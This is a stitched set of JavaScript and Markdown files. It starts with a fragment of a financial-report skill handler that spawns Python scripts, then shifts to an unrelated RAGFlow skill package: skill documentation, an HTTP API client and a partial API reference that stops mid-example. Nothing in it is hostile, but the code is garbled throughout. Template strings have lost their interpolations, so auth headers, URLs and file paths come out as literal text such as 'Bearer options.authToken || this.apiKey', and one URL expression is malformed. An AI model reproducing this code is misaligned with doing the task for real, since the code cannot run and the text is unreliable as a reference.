function sanitizeJsonSafe(obj) {
if (obj && typeof obj === 'object') {
const clean = {};
for (const [k, v] of Object.entries(obj)) {
if (typeof v === 'string' || typeof v === 'number' || typeof v === 'boolean' || v === null) {
clean[k] = v;
} else if (Array.isArray(v)) {
clean[k] = v.map(sanitizeJsonSafe);
} else if (typeof v === 'object') {
clean[k] = sanitizeJsonSafe(v);
}
}
return clean;
}
return obj;
}
function runPython(scriptPath, args) {
return new Promise((resolve, reject) => {
const proc = spawn('python3', [scriptPath, ...args], {
cwd: SKILL_ROOT,
env: { ...process.env, PYTHONIOENCODING: 'utf-8' },
timeout: 120000,
});
let stdout = '';
let stderr = '';
proc.stdout.on('data', d => { stdout += d.toString(); });
proc.stderr.on('data', d => { stderr += d.toString(); });
proc.on('close', code => {
if (code !== 0) {
reject(new Error(`Python exited code: stderr || stdout`));
} else {
resolve(stdout);
}
});
proc.on('error', err => reject(err));
});
}
async function parseFile(filePath) {
const scriptPath = path.join(SKILL_ROOT, 'src', 'services', 'file_parser.py');
const output = await runPython(scriptPath, [filePath]);
return JSON.parse(output.trim());
}
async function generateReport(inputJsonPath) {
const scriptPath = path.join(SKILL_ROOT, 'src', 'services', 'report_generator.py');
const output = await runPython(scriptPath, [inputJsonPath]);
return JSON.parse(output.trim());
}
/**
* Main skill invoke handler
* @param {Object} args - { apiKey, fileContent (base64), fileName, fileExt, model, tier, companyName, period, userId }
* @returns {Object} - { markdown, analysis, fileInfo }
*/
async function handleSkillInvoke(args) {
const {
apiKey = '',
fileContent = '',
fileName = 'report.xlsx',
fileExt = '',
model = '',
companyName = '',
period = '',
userId = '',
} = args;
// 1. Billing / token validation
const validation = await validateToken(apiKey, userId);
const tier = validation.valid ? 'PRO' : 'FREE';
const limits = getPlanLimits(tier);
// 2. Save uploaded file to temp
const tmpDir = '/tmp/ai-financial-report';
if (!fs.existsSync(tmpDir)) fs.mkdirSync(tmpDir, { recursive: true });
const decoded = Buffer.from(fileContent, 'base64');
const savePath = path.join(tmpDir, `frp_Date.now()_fileName`);
fs.writeFileSync(savePath, decoded);
// 3. Parse file
let parsedData;
try {
parsedData = await parseFile(savePath);
} catch (err) {
try { fs.unlinkSync(savePath); } catch (_) {}
throw new Error(`File parsing failed: err.message`);
}
// 4. Build input for report generator
const inputJson = {
file_path: savePath,
api_key: apiKey,
model: model || 'gpt-4o',
tier,
company_name: companyName || '',
period: period || '',
parsed_data: sanitizeJsonSafe(parsedData),
};
const inputJsonPath = path.join(tmpDir, `input_Date.now().json`);
fs.writeFileSync(inputJsonPath, JSON.stringify(inputJson, null, 2), 'utf8');
// 5. Generate report
let reportResult;
try {
reportResult = await generateReport(inputJsonPath);
} catch (err) {
try { fs.unlinkSync(inputJsonPath); } catch (_) {}
try { fs.unlinkSync(savePath); } catch (_) {}
throw new Error(`Report generation failed: err.message`);
} finally {
try { fs.unlinkSync(inputJsonPath); } catch (_) {}
try { fs.unlinkSync(savePath); } catch (_) {}
}
return {
markdown: reportResult.markdown,
analysis: sanitizeJsonSafe(reportResult.analysis || {}),
file_info: reportResult.file_info || {},
tier,
limits,
validation_result: {
valid: validation.valid,
plan: validation.plan,
reason: validation.reason,
},
};
}
module.exports = { handleSkillInvoke };
Operate RAGFlow v0.25.x deployments through the bundled Node CLI and API client. Use when user needs to manage RAGFlow datasets, documents, uploads, parsing,...
---
name: skill-for-ragflow
description: Operate RAGFlow v0.25.x deployments through the bundled Node CLI and API client. Use when user needs to manage RAGFlow datasets, documents, uploads, parsing, chunks, retrieval, chat assistants, chat sessions, agents, agent sessions, metadata filters, model discovery, system settings, or API diagnostics. Also use when the user asks about knowledge bases, document chunking, vector retrieval, or RAG workflows and the current context explicitly involves a RAGFlow server or deployment.
version: 1.0.0
metadata:
openclaw:
requires:
bins:
- node
env:
- RAGFLOW_URL
- RAGFLOW_API_KEY
primaryEnv: RAGFLOW_API_KEY
homepage: https://github.com/LunarCache/ragflow-skill
---
# RAGFlow Skill
Use this skill to operate RAGFlow through `scripts/ragflow.js`. The CLI wraps the full v0.25.x REST API - every action goes through `node {baseDir}/scripts/ragflow.js <command> [options]`. Prefer `--json` on any command when the output will be parsed or chained into another step.
## Requirements
- Set `RAGFLOW_URL` and `RAGFLOW_API_KEY` in the environment or this skill's `.env`.
- Use Node.js to run bundled scripts.
- Set `RAGFLOW_WEB_TOKEN` only when `list-models` needs a web-session token for `/v1/llm/my_llms`.
- Tune chunk deletion retries only when needed with `RAGFLOW_DELETE_CHUNK_RETRIES` and `RAGFLOW_DELETE_CHUNK_RETRY_DELAY_MS`.
- Tune the chunk deletion diagnostic script only when needed with `RAGFLOW_REPRO_TIMEOUT_MS`, `RAGFLOW_REPRO_DELETE_RETRIES`, `RAGFLOW_REPRO_DELETE_RETRY_DELAY_MS`, and `RAGFLOW_REPRO_EMBEDDING_MODEL`.
## Quick Command Reference
| Scenario | Commands |
|----------|----------|
| **Knowledge base setup** | `create-dataset`, `list-datasets`, `get-dataset`, `update-dataset`, `delete-datasets` |
| **Document ingestion** | `upload-documents`, `list-documents`, `get-document`, `update-document`, `delete-documents`, `metadata-summary` |
| **Parsing & chunking** | `start-parsing`, `stop-parsing`, `wait-parsing`, `list-chunks`, `add-chunk`, `update-chunk`, `delete-chunks` |
| **Direct retrieval** | `retrieve` |
| **Chat assistant** | `create-chat`, `list-chats`, `get-chat`, `update-chat`, `patch-chat`, `delete-chats` |
| **Chat sessions** | `create-session`, `list-sessions`, `delete-sessions`, `chat`, `chat-session` |
| **Agent** | `create-agent`, `list-agents`, `get-agent`, `update-agent`, `delete-agents` |
| **Agent sessions** | `create-agent-session`, `list-agent-sessions`, `delete-agent-sessions`, `agent-chat` |
| **Model discovery** | `list-models` |
| **System** | `system-version`, `get-log-levels`, `set-log-level` |
## Common Workflows
### Full RAG pipeline (upload -> parse -> retrieve)
1. `create-dataset --name "My KB" --chunk-method naive`
2. `upload-documents --dataset <id> --files ./doc1.pdf ./doc2.txt`
3. `start-parsing --dataset <id> --doc-ids <doc_id1> <doc_id2>`
4. `wait-parsing --dataset <id> --doc-ids <doc_id1> <doc_id2>`
5. `retrieve --question "What is X?" --datasets <id>`
### Chat assistant with sessions
1. `create-chat --name "Q&A" --datasets <id> --llm-id <model>`
2. `create-session --chat <chat_id>`
3. `chat-session --chat <chat_id> --session <session_id> --question "Hello"`
### Agent workflow
1. `create-agent --title "Assistant" --dsl @agent_dsl.json`
2. `create-agent-session --agent <agent_id>`
3. `agent-chat --agent <agent_id> --session <session_id> --question "Hello"`
## Workflow Decision Guide
The first step in any RAGFlow operation is resolving the target resource ID. After that, choose the right path:
1. **Need CLI syntax or option details?** -> Read [references/COMMANDS.md](references/COMMANDS.md) - it's organized by workflow scenario with full option tables.
2. **Editing client code or checking request/response shapes?** -> Read [references/API.md](references/API.md) - it has code examples for every `RagflowClient` method.
3. **A command failed?** -> Read [references/TROUBLESHOOTING.md](references/TROUBLESHOOTING.md) - common errors with causes and fixes.
4. **Formatting output for the user?** -> Read [references/REFERENCE.md](references/REFERENCE.md) - consistent response templates and status labels.
## Key Constraints
- **Destructive deletes need confirmation.** RAGFlow deletes are immediate and irreversible. Confirm before running `delete-datasets`, `delete-documents`, `delete-chunks`, `delete-chats`, `delete-sessions`, or `delete-agents` - unless the resource is a temporary artifact you created in the same workflow and the user asked you to clean up.
- **Upload and parsing are separate steps.** RAGFlow does not auto-parse on upload because different documents may need different chunk methods. Upload first, adjust config if needed, then start parsing explicitly.
- **Use v0.25.x route shapes from the references.** The RAGFlow API has changed between versions. The routes and payloads in the reference docs match v0.25.x - inventing fallback payloads will produce errors on real servers.
- **Tenant model identifiers use the `model@provider` format.** When creating datasets with `--embedding-model`, the server expects the full identifier, for example `text-embedding-v4@Tongyi-Qianwen`, not just the model name. Use `list-models` to discover the correct identifiers.
- **Chat sessions use the API-key SDK route.** `chat-session` posts to `/api/v1/chats/{chat_id}/completions` with `session_id` in the body. This is the v0.25.x API-key route - the login-session frontend route is intentionally avoided.
- **Agent DSL requires specific top-level fields.** RAGFlow agents need `components`, `history`, `path`, `retrieval`, `globals`, and `graph` in the DSL. Missing fields cause `KeyError` at creation time.
- **Chunk deletion may need retries.** The v0.25.0 server can return `rm_chunk deleted chunks 0, expect N` due to document-store refresh lag even when the chunk exists. The CLI handles this automatically - it retries after confirming the chunk is still visible via exact ID lookup. If retries still fail, run `scripts/repro-delete-chunks.js` for a clean diagnosis.
## Output Format
When presenting results to the user, follow the templates in [references/REFERENCE.md](references/REFERENCE.md). Key conventions:
- **3+ items with attributes** -> Table, abbreviating long IDs
- **Sequential steps** -> Numbered list
- **Parsing status** -> Use labels: `UNSTART`, `RUNNING`, `CANCEL`, `DONE`, `FAIL`
- **Search results** -> Table with similarity scores, content as quote blocks
- **Errors** -> Show code and human-readable message
FILE:agents/openai.yaml
interface:
display_name: "RAGFlow Skill"
short_description: "Operate RAGFlow v0.25.x deployments via bundled CLI for datasets, documents, retrieval, chat assistants, agents, and diagnostics."
default_prompt: "Use $ragflow-skill to manage RAGFlow deployments: datasets, document uploads and parsing, chunks, retrieval, chat assistants and sessions, agents, model discovery, system settings, and API diagnostics."
FILE:lib/api.js
const https = require("https");
const http = require("http");
const fs = require("fs");
const path = require("path");
const DEFAULT_TIMEOUT = 30000;
const MAX_RETRIES = 2;
const RETRY_DELAY = 1000;
const DELETE_CHUNK_RETRIES = 3;
const DELETE_CHUNK_RETRY_DELAY = 1000;
class RagflowClient {
constructor(baseUrl, apiKey, options = {}) {
if (!baseUrl) throw new Error("RAGFLOW_URL is required");
if (!apiKey) throw new Error("RAGFLOW_API_KEY is required");
this.baseUrl = baseUrl.replace(/\/+$/, "");
this.apiKey = apiKey;
this.apiPrefix = "/api/v1";
this.timeout = options.timeout || DEFAULT_TIMEOUT;
this.maxRetries = options.maxRetries !== undefined ? options.maxRetries : MAX_RETRIES;
this.webToken = options.webToken || process.env.RAGFLOW_WEB_TOKEN || "";
}
async request(method, endpoint, options = {}) {
const isMultipart = options.files && options.files.length > 0;
const headers = {
Authorization: `Bearer options.authToken || this.apiKey`,
};
let body;
if (isMultipart) {
const boundary = "----FormBoundary" + Math.random().toString(36).slice(2);
headers["Content-Type"] = `multipart/form-data; boundary=boundary`;
body = this._buildMultipart(options.files, options.json || {}, boundary);
} else if (options.json) {
headers["Content-Type"] = "application/json";
body = JSON.stringify(options.json);
}
if (body) {
headers["Content-Length"] = Buffer.byteLength(body);
}
let lastError;
const attempts = this.maxRetries + 1;
for (let attempt = 1; attempt <= attempts; attempt++) {
try {
return await this._doRequest(method, endpoint, headers, body, options.timeout, options.apiPrefix);
} catch (err) {
lastError = err;
if (this._isRetryable(err) && attempt < attempts) {
await this._delay(RETRY_DELAY * attempt);
continue;
}
throw err;
}
}
throw lastError;
}
_isRetryable(err) {
if (err.code === "ECONNRESET" || err.code === "ECONNREFUSED" || err.code === "ETIMEDOUT") return true;
if (err.message && (err.message.includes("socket hang up") || err.message.includes("network"))) return true;
if (err.code && err.code >= 500) return true;
return false;
}
_delay(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
_isDeleteChunkVisibilityError(err) {
return err && /rm_chunk deleted chunks 0, expect \d+/.test(err.message || "");
}
_isNotFoundError(err) {
return err && (err.code === 404 || err.status === 404 || /not found/i.test(err.message || ""));
}
_decorateDeleteChunkError(err, details) {
err.delete_chunk_details = details;
const existing = details.existing_chunk_ids || [];
const missing = details.missing_chunk_ids || [];
const parts = [];
if (existing.length) parts.push(`existing: existing.join(",")`);
if (missing.length) parts.push(`missing: missing.join(",")`);
if (parts.length) err.message = `err.message (parts.join("; "))`;
return err;
}
_doRequest(method, endpoint, headers, body, timeoutOverride, apiPrefix = this.apiPrefix) {
const url = this._buildUrl(endpoint, apiPrefix);
const timeout = timeoutOverride || this.timeout;
return new Promise((resolve, reject) => {
const mod = url.protocol === "https:" ? https : http;
const req = mod.request(url, { method, headers }, (res) => {
const chunks = [];
res.on("data", (c) => chunks.push(c));
res.on("end", () => {
const raw = Buffer.concat(chunks).toString("utf-8");
try {
const data = JSON.parse(raw);
if (data.code === 0) {
resolve(data.data !== undefined ? data.data : {});
} else {
const err = new Error(data.message || `API error code data.code`);
err.code = data.code;
err.status = res.statusCode;
reject(err);
}
} catch {
const err = new Error(`Invalid JSON response: raw.slice(0, 200)`);
err.status = res.statusCode;
reject(err);
}
});
});
req.setTimeout(timeout, () => {
req.destroy(new Error(`Request timed out after timeoutms`));
});
req.on("error", (err) => {
err.message = `Request failed: err.message`;
reject(err);
});
if (body) req.write(body);
req.end();
});
}
async validateConnection() {
try {
await this.listDatasets({ page: 1, page_size: 1 });
return true;
} catch {
return false;
}
}
_buildMultipart(files, fields, boundary) {
const parts = [];
for (const [key, value] of Object.entries(fields)) {
parts.push(Buffer.from(
`--boundary\r\nContent-Disposition: form-data; name="key"\r\n\r\nvalue`
));
parts.push(Buffer.from("\r\n"));
}
for (const file of files) {
const basename = path.basename(file);
const content = fs.readFileSync(file);
const header = `--boundary\r\nContent-Disposition: form-data; name="file"; filename="basename"\r\nContent-Type: application/octet-stream\r\n\r\n`;
parts.push(Buffer.from(header, "utf-8"));
parts.push(content);
parts.push(Buffer.from("\r\n"));
}
parts.push(Buffer.from(`--boundary--\r\n`, "utf-8"));
return Buffer.concat(parts);
}
async _streamRequest(method, endpoint, json, timeoutOverride) {
const url = this._buildUrl(endpoint, this.apiPrefix);
const body = JSON.stringify(json);
const timeout = timeoutOverride || this.timeout * 3;
const headers = {
Authorization: `Bearer this.apiKey`,
"Content-Type": "application/json",
"Content-Length": Buffer.byteLength(body),
};
return new Promise((resolve, reject) => {
const mod = url.protocol === "https:" ? https : http;
const req = mod.request(url, { method, headers }, (res) => {
const chunks = [];
res.on("data", (c) => chunks.push(c));
res.on("end", () => {
const raw = Buffer.concat(chunks).toString("utf-8");
const lines = raw.split("\n");
let lastAnswer = "";
let reference = null;
for (const line of lines) {
if (line.startsWith("data:")) {
const payload = line.slice(5).trim();
if (!payload || payload === "[DONE]") continue;
try {
const data = JSON.parse(payload);
if (data.event) {
if (data.event === "message" && data.data?.content !== undefined) {
lastAnswer += data.data.content;
}
if ((data.event === "message_end" || data.event === "done") && data.data?.reference !== undefined) {
reference = data.data.reference;
}
continue;
}
if (data.code === 0) {
if (data.data?.answer !== undefined) lastAnswer = data.data.answer;
if (data.data?.content !== undefined) lastAnswer += data.data.content;
if (data.data?.reference) reference = data.data.reference;
} else {
reject(new Error(data.message || data.data?.message || `API error code data.code`));
return;
}
} catch {
// Skip invalid JSON lines
}
}
}
resolve({ answer: lastAnswer, reference });
});
});
req.setTimeout(timeout, () => {
req.destroy(new Error(`Chat request timed out after timeoutms`));
});
req.on("error", (err) => {
err.message = `Request failed: err.message`;
reject(err);
});
req.write(body);
req.end();
});
}
// ── Dataset ──
async listDatasets(params = {}) {
const query = this._buildQuery(params);
return this.request("GET", `/datasets?query.toString()`);
}
async getDataset(datasetId) {
const result = await this.listDatasets({ id: datasetId });
if (!result || result.length === 0) {
throw new Error(`Dataset datasetId not found`);
}
return result[0];
}
async createDataset(data) {
return this.request("POST", "/datasets", { json: data });
}
async updateDataset(datasetId, data) {
return this.request("PUT", `/datasets/datasetId`, { json: data });
}
async deleteDatasets(ids) {
return this.request("DELETE", "/datasets", { json: { ids } });
}
// ── Document ──
async uploadDocuments(datasetId, files, params = {}) {
return this.request("POST", `/datasets/datasetId/documents`, {
files,
json: params,
});
}
async listDocuments(datasetId, params = {}) {
const query = this._buildQuery(params);
return this.request("GET", `/datasets/datasetId/documents?query.toString()`);
}
async deleteDocuments(datasetId, ids) {
return this.request("DELETE", `/datasets/datasetId/documents`, { json: { ids } });
}
async getDocument(datasetId, documentId) {
const result = await this.listDocuments(datasetId, { id: documentId });
if (!result || !result.docs || result.docs.length === 0) {
throw new Error(`Document documentId not found in dataset datasetId`);
}
return result.docs[0];
}
async updateDocument(datasetId, documentId, data) {
return this.request("PATCH", `/datasets/datasetId/documents/documentId`, { json: data });
}
// ── Chunk / Parsing ──
async startParsing(datasetId, documentIds) {
return this.request("POST", `/datasets/datasetId/chunks`, {
json: { document_ids: documentIds },
});
}
async stopParsing(datasetId, documentIds) {
return this.request("DELETE", `/datasets/datasetId/chunks`, {
json: { document_ids: documentIds },
});
}
async waitForParsing(datasetId, documentIds, options = {}) {
const interval = options.interval || 3000;
const maxWait = options.maxWait || 120000;
const start = Date.now();
while (Date.now() - start < maxWait) {
const docs = await this.listDocuments(datasetId);
const targets = (docs.docs || docs || []).filter((d) => documentIds.includes(d.id));
const allDone = targets.every((d) => d.run === "DONE" || d.run === "FAIL");
if (allDone) return targets;
await this._delay(interval);
}
throw new Error(`Parsing timed out after maxWaitms`);
}
async listChunks(datasetId, documentId, params = {}) {
const query = this._buildQuery(params);
return this.request(
"GET",
`/datasets/datasetId/documents/documentId/chunks?query.toString()`
);
}
async getChunk(datasetId, documentId, chunkId) {
const result = await this.listChunks(datasetId, documentId, { id: chunkId });
const chunks = result?.chunks || (Array.isArray(result) ? result : []);
const chunk = chunks.find((item) => item.id === chunkId) || chunks[0];
if (!chunk) throw new Error(`Chunk not found: datasetId/chunkId`);
return chunk;
}
async _existingChunkIds(datasetId, documentId, chunkIds) {
const existing = [];
const missing = [];
for (const chunkId of chunkIds) {
try {
await this.getChunk(datasetId, documentId, chunkId);
existing.push(chunkId);
} catch (err) {
if (this._isNotFoundError(err)) {
missing.push(chunkId);
continue;
}
throw err;
}
}
return { existing, missing };
}
async addChunk(datasetId, documentId, data) {
return this.request("POST", `/datasets/datasetId/documents/documentId/chunks`, {
json: data,
});
}
async deleteChunks(datasetId, documentId, chunkIds, options = {}) {
const uniqueChunkIds = [...new Set(chunkIds)].filter(Boolean);
const maxRetries = options.maxRetries !== undefined
? options.maxRetries
: Number(process.env.RAGFLOW_DELETE_CHUNK_RETRIES || DELETE_CHUNK_RETRIES);
const retryDelay = options.retryDelay !== undefined
? options.retryDelay
: Number(process.env.RAGFLOW_DELETE_CHUNK_RETRY_DELAY_MS || DELETE_CHUNK_RETRY_DELAY);
let lastError;
for (let attempt = 0; attempt <= maxRetries; attempt++) {
try {
return await this.request("DELETE", `/datasets/datasetId/documents/documentId/chunks`, {
json: { chunk_ids: uniqueChunkIds },
});
} catch (err) {
lastError = err;
if (!this._isDeleteChunkVisibilityError(err)) {
throw err;
}
const { existing, missing } = await this._existingChunkIds(datasetId, documentId, uniqueChunkIds);
const details = {
attempt,
max_retries: maxRetries,
existing_chunk_ids: existing,
missing_chunk_ids: missing,
};
if (existing.length === 0 || attempt >= maxRetries) {
throw this._decorateDeleteChunkError(err, details);
}
if (typeof options.onRetry === "function") {
options.onRetry(details);
}
await this._delay(retryDelay);
}
}
throw lastError;
}
async updateChunk(datasetId, documentId, chunkId, data) {
return this.request(
"PUT",
`/datasets/datasetId/documents/documentId/chunks/chunkId`,
{ json: data }
);
}
// ── Retrieval ──
async retrieve(params) {
return this.request("POST", "/retrieval", { json: params });
}
// ── Chat Assistant ──
async listChatAssistants(params = {}) {
const query = this._buildQuery(params);
return this.request("GET", `/chats?query.toString()`);
}
async createChatAssistant(data) {
return this.request("POST", "/chats", { json: data });
}
async updateChatAssistant(chatId, data) {
return this.request("PUT", `/chats/chatId`, { json: data });
}
async patchChatAssistant(chatId, data) {
return this.request("PATCH", `/chats/chatId`, { json: data });
}
async deleteChatAssistants(ids) {
return this.request("DELETE", "/chats", { json: { ids } });
}
async getChatAssistant(chatId) {
return this.request("GET", `/chats/chatId`);
}
// ── Session ──
async listSessions(chatId, params = {}) {
const query = this._buildQuery(params);
return this.request("GET", `/chats/chatId/sessions?query.toString()`);
}
async createSession(chatId, data = {}) {
return this.request("POST", `/chats/chatId/sessions`, { json: data });
}
async deleteSessions(chatId, ids) {
return this.request("DELETE", `/chats/chatId/sessions`, { json: { ids } });
}
// ── Chat (Conversation) ──
async chat(chatId, sessionId, question, params = {}) {
return this._streamRequest(
"POST", `/chats/chatId/completions`,
{ question, session_id: sessionId, ...params }
);
}
async chatSession(chatId, sessionId, data = {}) {
const payload = { ...data, session_id: sessionId };
if (!payload.question && payload.messages) {
const userMessages = Array.isArray(payload.messages)
? payload.messages.filter((message) => message && message.role === "user" && message.content)
: [];
const lastUserMessage = userMessages[userMessages.length - 1];
if (lastUserMessage) payload.question = lastUserMessage.content;
}
delete payload.messages;
if (!payload.question) {
throw new Error("chatSession requires question or messages with a user message");
}
if (data.stream === false || data.stream === "false") {
return this.request("POST", `/chats/chatId/completions`, { json: payload });
}
return this._streamRequest("POST", `/chats/chatId/completions`, payload);
}
// ── Agent ──
async listAgents(params = {}) {
const query = this._buildQuery(params);
return this.request("GET", `/agents?query.toString()`);
}
async createAgent(data) {
return this.request("POST", "/agents", { json: data });
}
async updateAgent(agentId, data) {
return this.request("PUT", `/agents/agentId`, { json: data });
}
async deleteAgents(ids) {
return Promise.all(ids.map((id) => this.request("DELETE", `/agents/id`)));
}
async getAgent(agentId) {
const result = await this.listAgents({ id: agentId });
if (!result || result.length === 0) {
throw new Error(`Agent agentId not found`);
}
return result[0];
}
// ── Agent Session ──
async listAgentSessions(agentId, params = {}) {
const query = this._buildQuery(params);
return this.request("GET", `/agents/agentId/sessions?query.toString()`);
}
async createAgentSession(agentId, data = {}) {
return this.request("POST", `/agents/agentId/sessions`, { json: data });
}
async deleteAgentSessions(agentId, ids) {
return this.request("DELETE", `/agents/agentId/sessions`, { json: { ids } });
}
// ── Agent Chat ──
async agentChat(agentId, sessionId, question, params = {}) {
return this._streamRequest(
"POST", `/agents/agentId/completions`,
{ question, session_id: sessionId, ...params }
);
}
// ── LLM Models ──
async listModels(params = {}) {
const query = this._buildQuery(params);
const authToken = this.webToken || this.apiKey;
return this.request("GET", `/llm/my_llms?query.toString()`, {
apiPrefix: "/v1",
authToken,
});
}
// ── Helpers ──
async metadataSummary(datasetId, docIds = []) {
const query = new URLSearchParams();
if (docIds.length) {
query.set("doc_ids", docIds.join(","));
}
const suffix = query.toString();
return this.request("GET", `/datasets/datasetId/metadata/summarysuffix ? `?${suffix` : ""}`);
}
async getSystemVersion() {
return this.request("GET", "/system/version");
}
async getLogLevels() {
return this.request("GET", "/system/config/log");
}
async setLogLevel(pkgName, level) {
return this.request("PUT", "/system/config/log", { json: { pkg_name: pkgName, level } });
}
_buildUrl(endpoint, apiPrefix = this.apiPrefix) {
const prefix = apiPrefix.replace(/\/+$/, "");
const suffix = endpoint.startsWith("/") ? endpoint : `/endpoint`;
return new URL(prefix + suffix, this.baseUrl);
}
_buildQuery(params) {
const query = new URLSearchParams();
for (const [k, v] of Object.entries(params)) {
if (v === undefined || v === null) continue;
if (Array.isArray(v)) {
for (const item of v) {
if (item !== undefined && item !== null) query.append(k, String(item));
}
} else {
query.set(k, String(v));
}
}
return query;
}
}
function loadEnv() {
const envPath = path.resolve(__dirname, "..", ".env");
if (fs.existsSync(envPath)) {
const content = fs.readFileSync(envPath, "utf-8");
for (const line of content.split("\n")) {
const trimmed = line.trim();
if (!trimmed || trimmed.startsWith("#")) continue;
const eq = trimmed.indexOf("=");
if (eq > 0) {
const key = trimmed.slice(0, eq);
if (process.env[key] === undefined || process.env[key] === "") {
process.env[key] = trimmed.slice(eq + 1);
}
}
}
}
}
function createClient(options = {}) {
loadEnv();
return new RagflowClient(
process.env.RAGFLOW_URL,
process.env.RAGFLOW_API_KEY,
options
);
}
module.exports = { RagflowClient, createClient };
FILE:references/API.md
# Programmatic API and Configuration
## Table of Contents
- [Setup](#setup)
- [Dataset](#dataset)
- [Document](#document)
- [Parsing](#parsing)
- [Chunk](#chunk)
- [Retrieval](#retrieval)
- [Chat Assistant](#chat-assistant)
- [Session](#session)
- [Chat Conversation](#chat-conversation)
- [Agent](#agent)
- [Agent Session](#agent-session)
- [Agent Chat](#agent-chat)
- [LLM Models](#llm-models)
- [System](#system)
- [Utility](#utility)
- [Configuration](#configuration)
## Setup
```javascript
const { createClient } = require("{baseDir}/lib/api.js");
const client = createClient();
```
`createClient()` reads `RAGFLOW_URL` and `RAGFLOW_API_KEY` from the environment and then fills missing values from the bundled `.env` file. Existing environment variables take precedence. See [Configuration](#configuration) below.
## Dataset
```javascript
// List datasets (supports pagination: page, page_size, id, name)
const datasets = await client.listDatasets({ page: 1, page_size: 10 });
// Get a single dataset by ID
const dataset = await client.getDataset("<dataset_id>");
// Create a dataset
const dataset = await client.createDataset({
name: "Tech Docs",
chunk_method: "naive",
});
// Update a dataset
await client.updateDataset("<dataset_id>", { name: "New Name" });
// Delete datasets by IDs
await client.deleteDatasets(["<id1>", "<id2>"]);
```
## Document
```javascript
// Upload documents
await client.uploadDocuments("<dataset_id>", ["./report.pdf", "./notes.txt"]);
// List documents (supports page, page_size, id, name, orderby, desc, keywords, suffix, types, run, metadata, metadata_condition, return_empty_metadata)
const docs = await client.listDocuments("<dataset_id>");
// Get a single document by ID
const doc = await client.getDocument("<dataset_id>", "<doc_id>");
// Update a document
await client.updateDocument("<dataset_id>", "<doc_id>", {
name: "Renamed",
parser_config: { pages: [[1, 2]] },
chunk_method: "knowledge_graph",
enabled: 1,
meta_fields: { author: "Alice" },
});
// Delete documents by IDs
await client.deleteDocuments("<dataset_id>", ["<doc_id1>", "<doc_id2>"]);
```
RAGFlow v0.25.0 defines document updates as `PATCH /api/v1/datasets/{dataset_id}/documents/{document_id}`. `updateDocument()` sends that request directly.
You can also filter documents by metadata:
```javascript
const docs = await client.listDocuments("<dataset_id>", {
metadata_condition: JSON.stringify({
logic: "and",
conditions: [{ name: "status", comparison_operator: "=", value: "published" }],
}),
});
```
You can also summarize metadata across documents:
```javascript
const summary = await client.metadataSummary("<dataset_id>", ["<doc_id1>", "<doc_id2>"]);
// Returns: { summary: [...] }
```
## Parsing
```javascript
// Start parsing (returns immediately)
await client.startParsing("<dataset_id>", ["<doc_id1>"]);
// Stop parsing
await client.stopParsing("<dataset_id>", ["<doc_id1>"]);
// Wait for parsing to complete (polls until DONE or FAIL)
// Documents stuck in CANCEL keep polling until timeout.
const results = await client.waitForParsing("<dataset_id>", ["<doc_id1>"], {
interval: 3000, // poll interval in ms (default: 3000)
maxWait: 120000, // max wait in ms (default: 120000)
});
```
## Chunk
```javascript
// List chunks (supports pagination: page, page_size, keywords)
const chunks = await client.listChunks("<dataset_id>", "<doc_id>");
// Exact chunk lookup by ID
const chunk = await client.getChunk("<dataset_id>", "<doc_id>", "<chunk_id>");
// Add a chunk
await client.addChunk("<dataset_id>", "<doc_id>", {
content: "Custom chunk text",
important_keywords: ["keyword1", "keyword2"],
});
// Update a chunk
await client.updateChunk("<dataset_id>", "<doc_id>", "<chunk_id>", {
content: "Updated content",
important_keywords: ["new_keyword"],
});
// Delete chunks by IDs
await client.deleteChunks("<dataset_id>", "<doc_id>", ["<chunk_id1>"]);
```
`deleteChunks()` retries the v0.25.0 transient `rm_chunk deleted chunks 0, expect N` response only after `getChunk()` confirms the target chunk still exists. This distinguishes document-store refresh delay from a genuinely missing chunk. Override with:
```javascript
await client.deleteChunks("<dataset_id>", "<doc_id>", ["<chunk_id1>"], {
maxRetries: 0,
retryDelay: 1000,
});
```
When the CLI is run with `--json`, `delete-chunks` wraps the server result with diagnostic fields that pipelines can consume directly:
```json
{
"result": {},
"requested_chunk_ids": ["<chunk_id1>"],
"existing_chunk_ids": ["<chunk_id1>"],
"missing_chunk_ids": [],
"visibility_checked": true,
"retry_count": 1,
"retries": [
{
"attempt": 0,
"next_attempt": 2,
"max_retries": 3,
"existing_chunk_ids": ["<chunk_id1>"],
"missing_chunk_ids": []
}
]
}
```
On a final delete visibility failure, the CLI exits non-zero and emits JSON with `error`, `requested_chunk_ids`, `existing_chunk_ids`, `missing_chunk_ids`, `retry_count`, `retries`, and `delete_chunk_diagnostics`.
All CLI command failures in `--json` mode use the same top-level error envelope:
```json
{
"error": {
"message": "API Error: Unauthorized",
"raw_message": "Unauthorized",
"code": 401,
"status": 401,
"command": "list-models"
}
}
```
Command-specific diagnostics, such as delete chunk visibility checks, are added as extra top-level fields alongside `error`.
## Retrieval
```javascript
const results = await client.retrieve({
question: "What is deep learning?",
dataset_ids: ["<dataset_id>"],
similarity_threshold: 0.3,
page_size: 5,
top_k: 1024,
vector_similarity_weight: 0.7,
keyword: true,
use_kg: false,
rerank_id: "<rerank_model_id>",
});
```
## Chat Assistant
```javascript
// List chat assistants (supports pagination)
const chats = await client.listChatAssistants({ page: 1, page_size: 10 });
// Get a single chat assistant by ID
const chat = await client.getChatAssistant("<chat_id>");
// Create a chat assistant
const chat = await client.createChatAssistant({
name: "Tech Q&A",
dataset_ids: ["<dataset_id>"],
llm_id: "<model_name>",
prompt_config: { system: "You are a helpful assistant." },
similarity_threshold: 0.3,
top_n: 5,
});
// Update a chat assistant
await client.updateChatAssistant("<chat_id>", { name: "New Name" });
// Patch a chat assistant
await client.patchChatAssistant("<chat_id>", { prompt_config: { system: "Use the dataset" } });
// Delete chat assistants by IDs
await client.deleteChatAssistants(["<chat_id1>", "<chat_id2>"]);
```
## Session
```javascript
// List sessions for a chat assistant
const sessions = await client.listSessions("<chat_id>", { page: 1 });
// Create a session
const session = await client.createSession("<chat_id>", { name: "Q&A Session" });
// Delete sessions by IDs
await client.deleteSessions("<chat_id>", ["<session_id1>"]);
```
## Chat Conversation
```javascript
// Chat with an assistant (streaming SSE, returns final answer + references)
const answer = await client.chat("<chat_id>", "<session_id>", "What is RAG?");
// Returns: { answer: "...", reference: { ... } }
// Chat with a session (messages payload)
const sessionAnswer = await client.chatSession("<chat_id>", "<session_id>", {
question: "Summarize the policy.",
});
// Convenience form: the last user message becomes `question`
const sessionAnswerFromMessages = await client.chatSession("<chat_id>", "<session_id>", {
messages: [
{ role: "system", content: "Follow the dataset." },
